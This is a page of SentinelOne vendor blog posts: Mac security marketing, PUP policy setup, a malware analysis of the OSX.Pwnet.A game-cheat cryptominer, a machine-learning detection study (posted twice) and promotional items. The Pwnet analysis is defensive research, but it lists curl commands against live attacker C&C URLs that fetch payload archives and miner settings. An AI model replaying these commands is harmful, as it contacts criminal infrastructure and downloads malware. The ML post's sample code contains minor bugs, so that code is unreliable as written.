Category Archives: Sentinel One

  • 0

Hack a Mac: It’s Not Impossible

Category : Sentinel One

It’s a commonly held belief that if you want to avoid a virus, you should be using a Mac. In fact, fewer than a dozen viruses have been developed for the Macintosh operating system. Does that mean that Mac OS is always safe and secure and, therefore, the operating system of choice? Well, not exactly.

Mac Hacks in History

In 2013, hackers exploited a flaw in Oracle Java to gain access to Apple computers. The exploit worked by gaining access via the Java Applet and provided a remote entry point to the OS X environment. Apple was quick to update the operating system to block the vulnerability, and the issue brought Apple to the forefront of the battle for third-party vendor security compliance.

In 2007, the Mac OS X firewall didn’t recognize the command to block incoming connections. This created a huge vulnerability for users because attackers could easily bypass the rule and access the Mac directly. In the same year, a flaw allowed users to bypass file- and system-level restrictions, which broke the confidentiality chain security teams value.

The year 2015 saw denial of service exploits, with over 225 vulnerabilities discovered and patched. Some of the largest were related to the integrated interface between Apple iOS, Apple Watch, Apple TV and Mac OS X. While it’s beneficial from a developer’s perspective to have a single stack for development, it causes security headaches.

Recent Vulnerabilities

More recently, a number of vulnerabilities of Mac systems have been addressed, and some haven’t. Firmware updates for the underlying computer infrastructure aren’t addressed in an efficient manner.

Third-party applications continue to be a threat vector for OS X as well. Java is such a prevalent technology that, in 2017 alone, there were over 800 reported vulnerabilities. Adobe, with it’s Flash plugin and PDF software, is also sitting with 257 known vulnerabilities in 2017, down 50 percent from the year before. But it continues to be an issue.

Apple itself continues to identify and patch vulnerabilities. The biggest ones so far have been related to Mac OS X High Sierra and a vulnerability in the keychain where an attacker could decrypt the keychain and see the keys in plain text. Also, some kernel-related flaws allowed denial of service attacks against the Apple infrastructure.

How To Stay Safe

Thus far, Apple has been very focused on addressing known vulnerabilities and releasing patches for them. So, as an end user, you need to ensure that your updates are run on a regular basis. However, it is also important to have some form of protection at the system level, preferably something real-time that is effective in stopping zero day threats and signature-less attacks.

A software like SentinelOne fits this mold perfectly as it runs at the kernel level and monitors all system activity, weighing potentially malicious actions to determine whether or not a program is benign or not. This approach has proven to be extremely successful as SentinelOne customers were unaffected in 2017 despite several high profile breaches. In addition, if a breach does get through then SentinelOne has a Cyber Warranty to help mitigate the financial impact on your organization. For a security product there is nothing that better exemplifies a true defense in depth solution.

Source: https://www.sentinelone.com/blog/hack-mac-not-impossible/

 


  • 0

A macOS Perspective from SentinelOne: Remote Desktop and PuPs

Category : Sentinel One

WHAT ARE PUPS?

A PUP is a Potentially Unwanted Program. It is also known as a Potentially Unwanted Application (PUA). PUPs are software with implementations that can compromise privacy or otherwise weaken the security of a computer, a user, or the environment.

What is the danger of a PUP?

A PUP can cause excessive or deceptive illegitimate changes to system settings, security settings, and other configurations. Some PUPs diminish the end-user experience with pop-ups, pop-unders, ad-insertions, ad-overlays, or ad replacements. If unhandled, these innocuous-seeming add-ons can cause significant performance issues later, or they can open security holes for the future.

Other PUPs install certificates on the endpoint, which allow hackers to intercept private data, such as banking details. With the certificate installed and trusted, the browser does not warn the user of a security breach.

How do PUPs enter the environment?

PUPs often use pseudo-installers to push adware or spyware with commonly-used software. Sometimes the danger is a hidden feature of a product, added with the knowledge of the vendor and mentioned in the EULA. Most users do not read the EULA and thus miss the warning that they are not using the official installer, or that the vendor is pushing unwanted add-ons.

Why do we need to handle PUPs differently than malware?

The difference between a PUP and other malware, is the concept of “Potential”. If a user is aware of all actions of the program, and you (IT and SecOps) confirm it is not dangerous, you can allow the program in your environment. A mission-critical application can be detected as a PUP. It is unwanted for some users, but critical for others.

HOW DOES SENTINELONE PROTECT AND DETECT CORRECTLY?

The unique Behavioral AI engines of the SentinelOne Agent detect dangerous back-end configuration changes. They also detect desirable or expected behavior. When both come from one parent process, SentinelOne detects the installer process or running process as a PUP.

You can make groups of endpoints, according to their use of programs that are detected as PUPs. For example, you can create a group for IT computers. The policy for IT computers will allow PUPs. When an IT user installs a PUP, you can see its Story Line and decide if it is safe for IT endpoints. If so, you can add an exclusion to the IT group policy, that allows that program by its default installation path.

For the policies of other groups, you can set PUPs for automatic Detect and Protect. The Agent will detect PUPs. It will kill the processes that cause suspicious backend behavior, quarantine the installer, and remediate configuration changes that were done (if any).

Test Case: Remote Desktop from Apple macOS 10.12 (Sierra)

RDP is a critical application for authorized personnel. It is safe when restricted to legitimate business purposes. You can put more security on RDP, such as authentication, authorization, and auditing.

Say a corporate employee wants to remote control  a corporate device from internet cafe, airport, home or someone else’s machine…) using a radially accessible RDP application, such as TeamViewer[1]. If this unauthorized use of TeamViewer succeeds, then anybody can use the unprotected host as a jump box to control hosts, using a legitimate corporate account – possibly sharing files, and changing anything though an uncontrolled tunnel or VPN.

To configure SentinelOne for automatic and correct PUP protection:

  1. Create a group for IT.
  2. Create groups for other users.
  3. In the policy of the IT group, set Suspicious to Detect.
  4. In the policies of the other groups, set Suspicious to Protect. See that the  Potentially unwanted applications Engine is enabled by default.
  5. When unauthorized users install a program, such as TeamViewer, they will see something like this:
  6. The SecOps administrator will see something like this appear on the Dashboard:
  7. The Forensic Analysis of the TeamViewer alert will show the Hash, certificate details, file, path, and other information.
  8. If you want to override the default settings, but only for authorized IT personal (not everyone), consider tweaking the IT staff associated policy to add an exclusion for TeamViewer, using its code-signing certificate ID (exclusion by file and path are also possible, and yet less favorable for cases where strict content control is expected).

Result: Authorized users can use TeamViewer,  and install or upgrade without interruption, while other users cannot install TeamViewer. If they attempt to install it, the installation will be blocked.

* For more information on macOS PuP detection capabilities and OSX.IronCore see: https://www.sentinelone.com/blog/osx-ironcore-a-or-what-we-know-about-osx-flashimitator-a/

[1] Please note that our use of TeamViewer is only as an example. SentinelOne is not connected in any way with TeamViewer, nor do we recommend or criticize its use.

Source: https://www.sentinelone.com/blog/macos-perspective-sentinelone-remote-desktop-pups/


  • 0

OSX.Pwnet.A – CS, GO Hack and Sneaky Miner

Category : Sentinel One

We recently found a hack for Counter-Strike: Global Offensive on macOS that is also a trojan that could mine CryptoCurrencies without user consent.

According to VirusTotal Retrohunt, the threat is in the wild since the beginning of July 2017.

Warning: At the time of this writing, all URLs are live.

vlone.cc

The entry point is vlone.cc portal, where a user can RegisterLoginand Download for free the hack installer.

The domain name was registered through eNom in April 2017, 14th, and resolves to a shared web host at namecheap:

$ dig vlone.cc +short
198.54.115.80
$ dig -x 198.54.115.80 +short 
server205-2.web-hosting.com.

HTTPS certificate was delivered by COMODO PositiveSSL in June 2017, 27th.

When logged in, members can browse the Prices page and purchase a premium subscription for 1, 3 or 6 months through Selly:

Members download the same archive of the free installer than guests:

$ curl -s https://vlone.cc/portal/download.php | shasum -a 256
b1bdb4502f5051309582f72a62c14d9919d3c86de3dcfa0b3a5f008cb5a018fe -
$ curl -s https://vlone.cc/portal/download.php -G -d user=1234 -d free | shasum -a 256
b1bdb4502f5051309582f72a62c14d9919d3c86de3dcfa0b3a5f008cb5a018fe -

According to the user GET query value, members count in August 2017, 22nd, is nearly two thousand.

We don’t know if the private installer of the hack also installs the mining software without user consent.

Binaries analysis

It’s all C++ Standard Library code. Network connections use libcurland secure HTTPS protocol.

All executables, but the miner CLI, require super-user privileges, so the user must run the installer with sudo:

$ ./vHook 
Root access required!
Please type "sudo ./vhook"

The main binary hides itself as Dynamic Web TWAIN, an online document scanning platform.

vHook

vHook is the installer. It is packed with UPX, probably to avoid user analysis and bypass some security products.

It is a command line interface:

$ sudo ./vHook 
[vlone] vHook public [vlone]
Username: USERNAME
Password: PASSWORD
[vlone] Welcome to vHook Public, USERNAME!
[vlone] Downloading vHook assets..
[vlone] Inflating vHook assets..
[vlone] CS:GO is not running!
[vlone] Cleaning up..
[vlone] Quitting...

With a valid member account, it downloads and extracts bootstrap.dylib and vhook.dylib from https://vlone.cc/portal/gateway.php as assets.zip to /Library/Application Support/:

$ curl -s https://vlone.cc/portal/gateway.php -G -d username=USERNAME -d password=PASSWORD -d free | xxd -l 64
00000000: 504b 0304 1400 0000 0800 8696 c14a 9c2e PK...........J..
00000010: 55c2 b606 0000 1827 0000 0f00 1c00 626f U......'......bo
00000020: 6f74 7374 7261 702e 6479 6c69 6255 5409 otstrap.dylibUT.
00000030: 0003 9cb9 2f59 d339 8059 7578 0b00 0104 ..../Y.9.Yux....

It loads bootstrap.dylib from osxinj project. If Counter-Strike: Global Offensive is running, it downloads and extracts some fonts (https://vlone.cc/fontfix.zip as vlone.zip to /Library/Fonts/), and injects vhook.dylib into csgo_osx64 process.

It could be a perfect deal for a CS: GO user, but it turns out vHookalso sneaky downloads and extracts https://vlone.cc/abc/assets/asset.zip as fonts.zip to /var/, changes directory to /var and runs sudo ./helper &.

It then kills Terminal application to hide the detached process output.

helper

helper is the miner downloader dropper. It is also packed with UPX.

It first asks the C&C server for the name of the binary to execute upon download:

$ curl https://www.vlone.cc/abc/commands/update.php?request -F command=newfile
com.dynamsoft.webhelper

It downloads https://www.vlone.cc/abc/assets/b.zip as /b.zip, extracts its contents to /var/.log/, changes directory to /var/.log/and runs sudo ./com.dynamsoft.WebHelper &.

At the time of this writing, https://www.vlone.cc/abc/assets/b.zipURL response is a File Not Found 404 error code, but https://www.vlone.cc/abc/assets/bz.zip URL is live and send the expected archive.

com.dynamsoft.WebHelper

com.dynamsoft.WebHelper is the miner downloader. Despite the name, it is not related to Dynamsoft.

It starts by downloading and extracting:

  • WebTwainService from https://www.vlone.cc/abc/assets/d.zip to /var/.log/
  • com.dynamsoft.WebTwainService.plist from https://www.vlone.cc/abc/assets/p.zip to /Library/LaunchDaemons/

It loads the daemon, sends computer unique identifier (UUID) and its version to C&C server, and checks if it meetsRequirements(), i.e. running as root and not in a debugger:

$ curl -s https://www.vlone.cc/abc/hub.php?init -F version=1.2.1 -F hwid=$(uuidgen)
created continue

It then sleeps for one hour. If one is in a hurry, he or she can cut out the nap easily:

__text:0000000100016A5F BF 01 00 00 00 mov edi, 1800 ; unsigned int
__text:0000000100016A64 E8 5B 72 00 00 call _sleep

Once rested, it sends commands to C&C server every minute to ask if it should mine and update or kill itself:

$ curl -s https://www.vlone.cc/abc/commands/mine.php?request -F command=mine
true
$ curl -s https://www.vlone.cc/abc/commands/update.php?request -F command=update
false
$ curl -s https://www.vlone.cc/abc/commands/kill.php?request -F command=kill
false

Every minute, it also creates or updates the mining thread to:

  • download and extract https://www.vlone.cc/abc/assets/helper.zip to /var/.trash/.assets/
  • get miner settings (maximum core number, currency, email address)
  • check if Activity Monitor is running
  • check if it is already mining
  • check if it should stop mining
  • run cd /var/.trash/.assets/; ./com.apple.SafariHelperwith appropriate arguments

WebTwainService

WebTwainService tries to take care of com.dynamsoft.webhelperpersistency. It is again packed with UPX.

It sets its current directory to /var/.log and runs sudo ./com.dynamsoft.webhelper &, then recursively sleeps for one hour…

minergate-cli

com.apple.SafariHelper actually is the official MinerGate CLI v4.04:

$ shasum -a 256 MinerGate-cli-4.04-Mac/minergate-cli com.apple.SafariHelper
b943369a2ae7afb3522f3b1c40c15208bff0444d47d0df476dd585cf9cbf7c10 MinerGate-cli-4.04-Mac/minergate-cli
b943369a2ae7afb3522f3b1c40c15208bff0444d47d0df476dd585cf9cbf7c10 com.apple.SafariHelper

It is written in Qt, so it comes with frameworks:

$ find /private/.trash -type f
/private/.trash/.assets/com.apple.SafariHelper
/private/.trash/.assets/Frameworks/QtCore.framework/Versions/5/QtCore
/private/.trash/.assets/Frameworks/QtNetwork.framework/Versions/5/QtNetwork
/private/.trash/.assets/Frameworks/QtSql.framework/Versions/5/QtSql
/private/.trash/.assets/Frameworks/QtWebSockets.framework/Versions/5/QtWebSockets

It takes as CPU as requested by com.dynamsoft.WebHelper so the user enjoys the delight of computer’s fans background music:

$ ps axu | grep [c]om.apple.SafariHelper
root 474 200.0 0.2 2490592 14204 s000 R+ 3:07AM 3:21.87 ./com.apple.SafariHelper -user pwnedboi@protonmail.com --xmr 2

It this example, it is mining Monero (XMR) with all virtual machine cores (two: 200.0%).

Current MinerGate email address is pwnedboi@protonmail.com, and xxanax420@gmail.com email address was also found hardcoded in another sample.

Maximum core number, CryptoCurrency and email address are provided by com.dynamsoft.WebHelper and the C&C server:

$ curl -s https://www.vlone.cc/abc/commands/mine.php?request -F mine=cores
4
$ curl -s https://www.vlone.cc/abc/commands/mine.php?request -F mine=coin
xmr
$ curl -s https://www.vlone.cc/abc/commands/mine.php?request -F mine=email
pwnedboi@protonmail.com

 

Finn and ponies

We didn’t spend too much time reverse engineering vhook.dylib. The source code is available on GitHub and videos of the hack are also available on YouTube here and there.

GitHub owner of the vHook project is fetusfinn (original author is ViKiNG) and we coincidentally found debugger symbols matching Finn username in GitHub’s libvHook.dylib and in all analyzed binaries:

$ for f in github.com/fetusfinn/vHook/libvHook.dylib \
 vHook_unpacked helper_unpacked com.dynamsoft.WebHelper WebTwainService_unpacked
do
 nm -a "$f" | grep -m 1 Finn
done
0000000000000000 - 00 0000 SO /Users/Finn/Desktop/c++/vHook/
0000000000000000 - 00 0000 SO /Users/Finn/Downloads/Archive/vloneLoader/
0000000000000000 - 00 0000 SO /Users/Finn/Desktop/pwnednet/pwnednet/installer/installer/
0000000000000000 - 00 0000 SO /Users/Finn/Desktop/pwnednet/pwnednet/pwnednet/
0000000000000000 - 00 0000 SO /Users/Finn/Downloads/WebTwainService/WebTwainService/WebTwainService/

This is how we know Finn’s project name is pwnednet. Shortened to pwnet, it sounds like poney in French, i.e. pony in English and, everybody loves ponies, so here you have OSX.Pwnet.A!

There also is a reference to someone named Jennifer Johansson in Xcode user data:

$ find github.com/fetusfinn/vHook -type f -path "*nnif*"
github.com/fetusfinn/vHook/vHook.xcodeproj/xcuserdata/jenniferjohansson.xcuserdatad/xcdebugger/Breakpoints_v2.xcbkptlist
github.com/fetusfinn/vHook/vHook.xcodeproj/xcuserdata/jenniferjohansson.xcuserdatad/xcschemes/vHook.xcscheme
github.com/fetusfinn/vHook/vHook.xcodeproj/xcuserdata/jenniferjohansson.xcuserdatad/xcschemes/xcschememanagement.plist

We didn’t take the time to ask pwned’s boyfriend on Discord if Finnis much into ponies:

But, just in case, here is a Dutch Pony for Finn and her team.

Source: https://sentinelone.com/blog/osx-pwnet-a-csgo-hack-and-sneaky-miner/

Author: Arnaud Abbati


  • 0

Measuring the Usefulness of Multiple Models

Category : Sentinel One

The past several years have seen a massive increase in products, services, and features which are powered or enhanced by artificial intelligence — voice recognition, facial recognition, targeted advertisements, and so on. In the anti-virus industry, we’ve seen a similar trend with a push away from traditional, signature-based detection towards fancy machine learning models. Machine learning allows anti-virus companies to leverage large amounts of data and clever feature engineering to build models which can accurately detect malware and scales much better than manual reverse engineering. Using machine learning and training a model is simple enough that there are YouTube videos like “Build an Antivirus in 5 Minutes“. While these home brew approaches are interesting and educational, building and maintaining an effective, competitive model takes a lot longer than 5 minutes.

To stay competitive with machine learning one must constantly beef up the training data to include new and diverse samples, engineer better features, refine old features, tune model hyper parameters, research new models, and so on. To this end, I’ve been researching how to use multiple models to improve detection accuracy. The intuition is that different models may have different strengths and weaknesses and as the number of models which agree increases, you can be more certain. Using multiple model’s isn’t new. It’s a common technique generally agreed to improve accuracy, and we already use it in some places. However, I wanted to quantify how much can it improve accuracy and which combination of models would work best. In this post, I’m going to share my findings and give some ideas for future research.

Selecting the Algorithms

If you want to use multiple models, the first question is which learning algorithms to use. Intuitively, you want strong models which make different mistakes. For example, if one model is wrong about a particular file, you want your other models to not be wrong. In other words, you want to minimize the size of the intersection of the sets of misclassified files between models. In this way, three strong models which make the same mistakes may not perform as well as one strong model with two weaker models which make entirely different mistakes.

I picked three models which I hoped would perform differently: random forestmulti-layer perceptron, and extra trees. Random forests, which I’ve explained previously and extra trees are both ensemble algorithms which use decision trees as a base estimator, but I figured I could use very different parameters for each and get different results.

For evaluating the performance of multiple models, consider that when a model judges a file, there are four outcomes:

  1. true positive (TP) – file is bad and model says bad
  2. true negative (TN) – file is good and model says good
  3. false positive (FP) – file is good but model says bad
  4. false negative (FN) – file is bad but model says good

In the anti-virus industry, the most important metric for a model is the FP rate. If you detect 100% of malware but have an FP rate of only 0.1%, you’ll still be deleting 1 in 1,000 benign files which will probably break something important (like the operating system). The second most important metric is the TP rate, or the detection rate. This is how many malicious files you detect and these two rates are usually antagonistic. Improving the TP rate usually means increasing the FP rate, and vice versa.

Since FPs are so important to avoid, I decided to evaluate model combinations by measuring how much the FP sets overlap. The less they overlap, the better. This isn’t very rigorous, but it’s fast. I prefer to get quick results, build my intuition, and get more rigorous as I iterate. In a perfect world with unlimited time, CPU power, and memory, I would setup a grid search to find the ideal parameters for a dozen models and then build another grid search to find the ideal way to combine the models. Unfortunately, this could take weeks. By doing some quick experiments, I can find out if the idea is worth perusing, possibly come up with a better test, and save a lot of time by eliminating certain possibilities.

Building the Models

The training data consisted of features from a wide variety of about 1.7 million executables, about half of which were malicious. The data were vectorized and prepared by removing invariant features, normalizing, scaling, and agglomerating features. Decision trees don’t care much about scaling and normalizing, but MLP and other models do. By limiting the number of features to 1000, training time is reduced and previous experiments have shown that it doesn’t degrade model performance much. Below is the code for preparing the matrix:

import sklearn as skl
import sklearn.feature_selection
import gc

variance = skl.feature_selection.VarianceThreshold(threshold=0.001)
matrix = variance.fit_transform(matrix)

normalize = sklearn.preprocessing.Normalizer(copy=False)
matrix = normalize.fit_transform(matrix)

# Converts matrix from sparse to dense
scale = skl.preprocessing.RobustScaler(copy=False)
matrix = scale.fit_transform(matrix.toarray())

# Lots of garbage to collect after last step
# This may prevent some out of memory errors
gc.collect()

fa = sklearn.cluster.FeatureAgglomeration(n_clusters=1000)
matrix = fa.fit_transform(matrix)

The random forest (RF), extra trees (ET), and multi-layer perceptron (MLP) models were built using the SKLearn Python library from the prepared matrix.

Testing the Models

The strongest performing model was the random forest with extra trees coming in a close second. The lackluster MLP performance is likely due to bad tuning of hyper parameters but it could just be a bad algorithm for this type of problem.

Below is the table of results showing the number of FPs from each model and the number of FPs in the intersection between each model and every other model:

Model FPs ∩ RF ∩ MLP ∩ ET
RF 3928 3539 2784
MLP 104356 3539 3769
ET 4302 2784 3769

The FPs common between all models is 2558. This means that all three models mistakenly labeled 2558 of the files as malicious when they were actually benign. The best way to minimize FPs is to require that all three models agree a file is malicious. With these three models, this would decrease the false positive rate by 35%. For example, instead of using just a random forest and getting 3928 FPs, if all models had to agree, the FPs would be limited to just 2558.

Requiring all models agree is a highly conservative way to combine models and is the most likely to reduce the TP rate. To measure the TP rate reduction, I checked the size of the intersections of TPs between the models. The table below shows the figures:

Model TPs ∩ RF ∩ MLP ∩ ET
RF 769043 759321 767333
MLP 761807 759321 758488
ET 768090 767333 758488

As with FPs, the RF model performed the best with the ET model lagging slightly behind. The intersection of TPs between all models was 757880. If all models were required to agree a file was malicious, this means the TP rate would only decrease 1.5%.

Below is roughly the code I used to collect FPs and TPs:

# matrix contains vectorized data
# indicies contains array of sample sha256 hashes
# labels contains array of sample labels - True=malicious, False=benign
def get_tps(labels, predicted, indicies):
    tps = set()
    for idx, label in enumerate(labels):
        prediction = predicted[idx]
        if label and prediction:
            tps.add(indicies[idx])
    return tps


def get_fps(labels, predicted, indicies):
    fps = set()
    for idx, label in enumerate(labels):
        prediction = predicted[idx]
        if not label and prediction:
            fps.add(indicies[idx])
    return fps

# Fit the classifier
mlp = skl.neural_network.MLPClassifier()
mlp.fit(matrix, labels)

# Make predictions and collect FPs and TPs
mlp_predicted = skl.model_selection.cross_val_predict(mlp, matrix, labels, cv=10)
mlp_fps = get_fps(labels, predicted, indicies)
mlp_tps = get_fps(labels, predicted, indicies)

# rf_fps contains random forest FPs
print(rf_fps.intersection(mlp_fps))

Conclusion

This research suggests that by using multiple models one could easily reduce FPs by about a third with only a tiny hit to the detection rate. This seems promising, but the real world is often more complicated in practice. For example, we use many robust, non-AI systems to avoid FPs so the 35% reduction likely wouldn’t affect all file types equally and most of the FP reduction might be covered by such pre-existing systems. This research only establishes an upper bound for FP reductions. There’s also engineering considerations for model complexity and speed that need to be taken into account. I’m using Python and don’t care how slow models are, but implementing the code in C and making it performant might be quite tricky.

The extra trees worked better than expected. I did very little tuning yet it was strong and had fairly different false positives than the random forest model. The MLP model may, with enough tuning, eventually perform well, but maybe it’s a bad model for the number and type of features. I’m eager to try with an SVC model, but SVC training time grows quadratically so I’d need to use a bagging classifier with many smaller SVCs.

There are many different ways to combine models — voting, soft voting, blending, and stacking. What I’ve described here is a variant of voting. I’d like to experiment with stacking which works by training multiple models, then using the output of those models as features into a “second layer” model which figures out how to best combine the models. Since I’m most interested in minimizing false positives, I’ll have to compare stacking performance versus requiring all models agree. It may be possible to weight benign samples so models favor avoiding false positives while training without sacrificing detection rates.

The main bottleneck for this research is computing speed and memory. I may be able to just use a smaller training set. I can find out how small the training set can be by training on a subset of the data and testing the performance against the out-of-sample data. Another option is to switch from SKLearn to TensorFlow GPU which allows me to take advantage of my totally justified video card purchase.

Source: https://sentinelone.com/blog/measuring-the-usefulness-of-multiple-models/

Author:  Caleb Fenton


  • 0

How to Build Your Endpoint Security Blueprint

Category : Sentinel One

Date and time: August 23rd, 2017 at 10am PT | 1pm ET
Speakers: 
Chris Sherman, Forrester Senior Security Analyst
Rajiv Raghunarayan, SentinelOne Vice President, Product Marketing
Description:
We’ve all heard of traditional endpoint models failing. And there is an overwhelming number of next generation technologies. As a customer how do you identify the right technology, the right approach to invest in?
Hear Guest Speaker Chris Sherman, Forrester Senior Security Analyst, and Rajiv Raghunarayan, SentinelOne VP of Product Marketing, talk about the top trends and approaches to safe guard your endpoints, users, and organization against the continued evolution of threat and business landscapes.  
 
Join the webinar to:
  • Understand the different approaches to endpoint security 
  • Select the best architectures for your business needs
  • Role of automation in powering your security strategy
  • The SentinelOne approach

REGISTER


  • 0

SentinelOne Demo

Category : Sentinel One

Want Zero-Day protection? Watch this video & see how SentinelOne can help.


  • 0

Measuring the Usefulness of Multiple Models

Category : Sentinel One

The past several years have seen a massive increase in products, services, and features which are powered or enhanced by artificial intelligence — voice recognition, facial recognition, targeted advertisements, and so on. In the anti-virus industry, we’ve seen a similar trend with a push away from traditional, signature-based detection towards fancy machine learning models. Machine learning allows anti-virus companies to leverage large amounts of data and clever feature engineering to build models which can accurately detect malware and scales much better than manual reverse engineering. Using machine learning and training a model is simple enough that there are YouTube videos like “Build an Antivirus in 5 Minutes“. While these home brew approaches are interesting and educational, building and maintaining an effective, competitive model takes a lot longer than 5 minutes.

To stay competitive with machine learning one must constantly beef up the training data to include new and diverse samples, engineer better features, refine old features, tune model hyper parameters, research new models, and so on. To this end, I’ve been researching how to use multiple models to improve detection accuracy. The intuition is that different models may have different strengths and weaknesses and as the number of models which agree increases, you can be more certain. Using multiple model’s isn’t new. It’s a common technique generally agreed to improve accuracy, and we already use it in some places. However, I wanted to quantify how much can it improve accuracy and which combination of models would work best. In this post, I’m going to share my findings and give some ideas for future research.

Selecting the Algorithms

If you want to use multiple models, the first question is which learning algorithms to use. Intuitively, you want strong models which make different mistakes. For example, if one model is wrong about a particular file, you want your other models to not be wrong. In other words, you want to minimize the size of the intersection of the sets of misclassified files between models. In this way, three strong models which make the same mistakes may not perform as well as one strong model with two weaker models which make entirely different mistakes.

I picked three models which I hoped would perform differently: random forestmulti-layer perceptron, and extra trees. Random forests, which I’ve explained previously and extra trees are both ensemble algorithms which use decision trees as a base estimator, but I figured I could use very different parameters for each and get different results.

For evaluating the performance of multiple models, consider that when a model judges a file, there are four outcomes:

  1. true positive (TP) – file is bad and model says bad
  2. true negative (TN) – file is good and model says good
  3. false positive (FP) – file is good but model says bad
  4. false negative (FN) – file is bad but model says good

In the anti-virus industry, the most important metric for a model is the FP rate. If you detect 100% of malware but have an FP rate of only 0.1%, you’ll still be deleting 1 in 1,000 benign files which will probably break something important (like the operating system). The second most important metric is the TP rate, or the detection rate. This is how many malicious files you detect and these two rates are usually antagonistic. Improving the TP rate usually means increasing the FP rate, and vice versa.

Since FPs are so important to avoid, I decided to evaluate model combinations by measuring how much the FP sets overlap. The less they overlap, the better. This isn’t very rigorous, but it’s fast. I prefer to get quick results, build my intuition, and get more rigorous as I iterate. In a perfect world with unlimited time, CPU power, and memory, I would setup a grid search to find the ideal parameters for a dozen models and then build another grid search to find the ideal way to combine the models. Unfortunately, this could take weeks. By doing some quick experiments, I can find out if the idea is worth perusing, possibly come up with a better test, and save a lot of time by eliminating certain possibilities.

Building the Models

The training data consisted of features from a wide variety of about 1.7 million executables, about half of which were malicious. The data were vectorized and prepared by removing invariant features, normalizing, scaling, and agglomerating features. Decision trees don’t care much about scaling and normalizing, but MLP and other models do. By limiting the number of features to 1000, training time is reduced and previous experiments have shown that it doesn’t degrade model performance much. Below is the code for preparing the matrix:

import sklearn as skl
import sklearn.feature_selection
import gc

variance = skl.feature_selection.VarianceThreshold(threshold=0.001)
matrix = variance.fit_transform(matrix)

normalize = sklearn.preprocessing.Normalizer(copy=False)
matrix = normalize.fit_transform(matrix)

# Converts matrix from sparse to dense
scale = skl.preprocessing.RobustScaler(copy=False)
matrix = scale.fit_transform(matrix.toarray())

# Lots of garbage to collect after last step
# This may prevent some out of memory errors
gc.collect()

fa = sklearn.cluster.FeatureAgglomeration(n_clusters=1000)
matrix = fa.fit_transform(matrix)

The random forest (RF), extra trees (ET), and multi-layer perceptron (MLP) models were built using the SKLearn Python library from the prepared matrix.

Testing the Models

The strongest performing model was the random forest with extra trees coming in a close second. The lackluster MLP performance is likely due to bad tuning of hyper parameters but it could just be a bad algorithm for this type of problem.

Below is the table of results showing the number of FPs from each model and the number of FPs in the intersection between each model and every other model:

Model FPs ∩ RF ∩ MLP ∩ ET
RF 3928 3539 2784
MLP 104356 3539 3769
ET 4302 2784 3769

The FPs common between all models is 2558. This means that all three models mistakenly labeled 2558 of the files as malicious when they were actually benign. The best way to minimize FPs is to require that all three models agree a file is malicious. With these three models, this would decrease the false positive rate by 35%. For example, instead of using just a random forest and getting 3928 FPs, if all models had to agree, the FPs would be limited to just 2558.

Requiring all models agree is a highly conservative way to combine models and is the most likely to reduce the TP rate. To measure the TP rate reduction, I checked the size of the intersections of TPs between the models. The table below shows the figures:

Model TPs ∩ RF ∩ MLP ∩ ET
RF 769043 759321 767333
MLP 761807 759321 758488
ET 768090 767333 758488

As with FPs, the RF model performed the best with the ET model lagging slightly behind. The intersection of TPs between all models was 757880. If all models were required to agree a file was malicious, this means the TP rate would only decrease 1.5%.

Below is roughly the code I used to collect FPs and TPs:

# matrix contains vectorized data
# indicies contains array of sample sha256 hashes
# labels contains array of sample labels - True=malicious, False=benign
def get_tps(labels, predicted, indicies):
    tps = set()
    for idx, label in enumerate(labels):
        prediction = predicted[idx]
        if label and prediction:
            tps.add(indicies[idx])
    return tps


def get_fps(labels, predicted, indicies):
    fps = set()
    for idx, label in enumerate(labels):
        prediction = predicted[idx]
        if not label and prediction:
            fps.add(indicies[idx])
    return fps

# Fit the classifier
mlp = skl.neural_network.MLPClassifier()
mlp.fit(matrix, labels)

# Make predictions and collect FPs and TPs
mlp_predicted = skl.model_selection.cross_val_predict(mlp, matrix, labels, cv=10)
mlp_fps = get_fps(labels, predicted, indicies)
mlp_tps = get_fps(labels, predicted, indicies)

# rf_fps contains random forest FPs
print(rf_fps.intersection(mlp_fps))

Conclusion

This research suggests that by using multiple models one could easily reduce FPs by about a third with only a tiny hit to the detection rate. This seems promising, but the real world is often more complicated in practice. For example, we use many robust, non-AI systems to avoid FPs so the 35% reduction likely wouldn’t affect all file types equally and most of the FP reduction might be covered by such pre-existing systems. This research only establishes an upper bound for FP reductions. There’s also engineering considerations for model complexity and speed that need to be taken into account. I’m using Python and don’t care how slow models are, but implementing the code in C and making it performant might be quite tricky.

The extra trees worked better than expected. I did very little tuning yet it was strong and had fairly different false positives than the random forest model. The MLP model may, with enough tuning, eventually perform well, but maybe it’s a bad model for the number and type of features. I’m eager to try with an SVC model, but SVC training time grows quadratically so I’d need to use a bagging classifier with many smaller SVCs.

There are many different ways to combine models — voting, soft voting, blending, and stacking. What I’ve described here is a variant of voting. I’d like to experiment with stacking which works by training multiple models, then using the output of those models as features into a “second layer” model which figures out how to best combine the models. Since I’m most interested in minimizing false positives, I’ll have to compare stacking performance versus requiring all models agree. It may be possible to weight benign samples so models favor avoiding false positives while training without sacrificing detection rates.

The main bottleneck for this research is computing speed and memory. I may be able to just use a smaller training set. I can find out how small the training set can be by training on a subset of the data and testing the performance against the out-of-sample data. Another option is to switch from SKLearn to TensorFlow GPU which allows me to take advantage of my totally justified video card purchase.


  • 0

SentinelOne Expands Business Development Practice With Launch of S1 Nexus Technology Alliance and Integration Program

Category : Sentinel One

New Program Will Create Extended Ecosystem of Partners Able to Leverage SentinelOne’s Advanced Endpoint Protection Technologies

SentinelOne, the company transforming endpoint protection by delivering unified, multi-layer protection driven by machine learning and intelligent automation, today announced S1 Nexus, the company’s technology alliance and integration program. This formal business development program expands on an initial partnership with Fortinet and will create an extended ecosystem of partners who can integrate or enable interoperability with the SentinelOne Endpoint Protection Platform (EPP).

“The creation of S1 Nexus will further amplify the profound impact that our endpoint technologies have on keeping businesses secure,” said Tomer Weingarten, chief executive officer of SentinelOne. “Expanding our ecosystem via technology alliances and integrations will enable other best-of-breed security, networking and cloud companies to embed additional layers of security within their products, ultimately creating a more secure end-user environment.”

The S1 Nexus program will enable integration partners to incorporate SentinelOne technologies into their products and solutions by providing access to SentinelOne APIs. Integration partners will leverage the SentinelOne EPP engines to bolster the security functionality of their products. Alliance and platform partners will be provided interoperability with SentinelOne solutions for strengthened security posture. Partners will also receive co-marketing support and promotion of joint offerings.

SentinelOne has brought Daniel Bernard on board as vice president of business development to lead the S1 Nexus program. In his role, Bernard will source and manage global alliance and technology integration partners to complement the go-to-market team. Previously, Bernard was a founding member of Dropbox’s partnership team, creating and leading its partnership with one of the world’s largest PC manufacturers. He also helped lead the build-out of Cylance’s international field operations during its global expansion.

